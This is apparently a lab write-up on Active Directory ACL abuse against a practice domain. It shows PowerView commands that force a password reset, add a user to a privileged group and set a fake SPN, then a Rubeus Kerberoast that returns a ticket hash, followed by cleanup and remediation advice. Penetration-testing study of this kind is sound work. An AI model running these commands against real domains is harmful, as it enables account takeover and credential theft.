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c-ACL Abuse

6 min read

So far we have:

Control over wley using Responder & Hashcat → wley got forcechangepassword over damundsen → damundsen got GenericWrite over Help Desk Level 1 group → Help Desk Level 1 group is nested into Information Technology group. → IT Group got GenericAll over user adunn → adunn got DCSync ability on Domain object.

Let’s

  • Use wley user right to change the password of damundsen user
  • Authenticate as damundsen and abuse GenericWrite to add a user on Help Desk Level 1 group
  • Since Help Desk Level 1 group is nested in IT group, leverage GenericAll to take control of adunn user

forcechangepassword

Let’s authenticate as wley and force change the password of damundsen

PSCredential

Let’s first create PSCredential object for user wley:

PS C:\htb> $SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
PS C:\htb> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)

Secure String

Next, let’s create SecureString Object which represents password we want to set for target user damundsen:

PS C:\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

Change Password

Finally, let’s use Set-DomainUserPassword from PowerView to change target user damundsen’s password.

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
 
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset

Now target user damundsen’s password has been changed to what we have set.

Now let’s authenticate as damundsen user and add ourselves to Help Desk Level 1 group.

GenericWrite

User damundsen got GenericWrite over Help Desk Level 1 group. Let’s abuse this and add damundsen to Help Desk Level 1 group.

SecureString

As earlier, create secure string for damundsen:

PS C:\htb> $SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
PS C:\htb> $Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)

Add-DomainGroupMember

Next, let’s use Add-DomainGroupMember to add damundsen to the target group.

We will first confirm damundsen not being on Help Desk Level 1 group:

PS C:\htb> Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
 
CN=Stella Blagg,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Marie Wright,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Jerrell Metzler,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Evelyn Mailloux,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Juanita Marrero,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Joseph Miller,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Wilma Funk,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Maxie Brooks,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Scott Pilcher,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Orval Wong,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=David Werner,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Alicia Medlin,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Lynda Bryant,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Tyler Traver,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Maurice Duley,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=William Struck,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Denis Rogers,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Billy Bonds,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Gladys Link,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Gladys Brooks,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Margaret Hanes,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Michael Hick,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Timothy Brown,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Nancy Johansen,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Valerie Mcqueen,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
CN=Dagmar Payne,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL

Now that we confirmed damundsen is not in the group, let’s add him to the group:

PS C:\htb> Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
 
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1'

We can confirm damundsen was added to the group:

PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
 
MemberName
----------
busucher
spergazed
 
<SNIP>
 
damundsen
dpayne
``````powershell-session
PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
 
MemberName
----------
busucher
spergazed
 
<SNIP>
 
damundsen
dpayne

Now we are in Help Desk Level 1 group and since HDL1 group is nested in IT group, we have the IT group rights.

GenericAll

Now let’s move on to abusing GenericAll and taking control of user adunn.

Normally, with GenericAll, We can:

  • Modify group membership
  • Force change a password
  • Targeted Kerberoasting attack

Force Changing a password would be a simplist way take control of user adunn but let’s try targeted Kerberoasting attack for the sake of learning.

Targeted Kerberoasting

We can modify account’s ServicePrincipalName (SPN) attribute to create a fake SPN that we can then Kerberoast to obtain the TGS ticket and crack it.

On Linux host, we can use tool such as targetedKerberoastto perform this same attack. It will create a temporary SPN, retrieve hash, and delete the temporary SPN all in one command.

Create Fake SPN

We will use the SecureString created earlier for user damundsen and create a fake SPN:

PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
 
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'notahacker/LEGIT' for object 'adunn'

Rubeus Kerberoasting

Let’s use Rubeus to Kerberoast on user adunn:

PS C:\htb> .\Rubeus.exe kerberoast /user:adunn /nowrap
 
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
 
  v2.0.2
 
 
[*] Action: Kerberoasting
 
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
 
[*] Target User            : adunn
[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=adunn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
 
[*] Total kerberoastable users : 1
 
 
[*] SamAccountName         : adunn
[*] DistinguishedName      : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName   : notahacker/LEGIT
[*] PwdLastSet             : 3/1/2022 11:29:08 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*adunn$INLANEFREIGHT.LOCAL$notahacker/LEGIT@INLANEFREIGHT.LOCAL*$ <SNIP>

CleanUp

In terms of cleanup, there are a few things we need to do:

  1. Remove the fake SPN we created on the adunn user.
  2. Remove the damundsen user from the Help Desk Level 1 group
  3. Set the password for the damundsen user back to its original value (if we know it) or have our client set it/alert the user

Remove fake SPN

  1. Remove the fake SPN we created on the adunn user.
PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
 
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Clearing 'serviceprincipalname' for object 'adunn'

Remove added user from group

  1. Remove the damundsen user from the Help Desk Level 1 group
PS C:\htb> Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
 
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Remove-DomainGroupMember] Removing member 'damundsen' from group 'Help Desk Level 1'
True

Let’s confirm damundsen was removed from the group:

PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose

Remediation

  1. Auditing for and removing dangerous ACLs - Use Bloodhound etc
  2. Monitor group membership - changes in important group should be alerted to IT staff
  3. Audit and monitor for ACL changes - Enabling the Advanced Security Audit Policy can help in detecting unwanted changes, especially Event ID 5136: A directory service object was modified which would indicate that the domain object was modified

Moving On

So far,

we abused forcechangepassword and got control over damundsen → Abused GenericWrite and got access to IT group → Abused GenericaAll, Targeted Kerberoasting to get access to adunn

Now let’s DCSync from user adunn to domain.

Graph View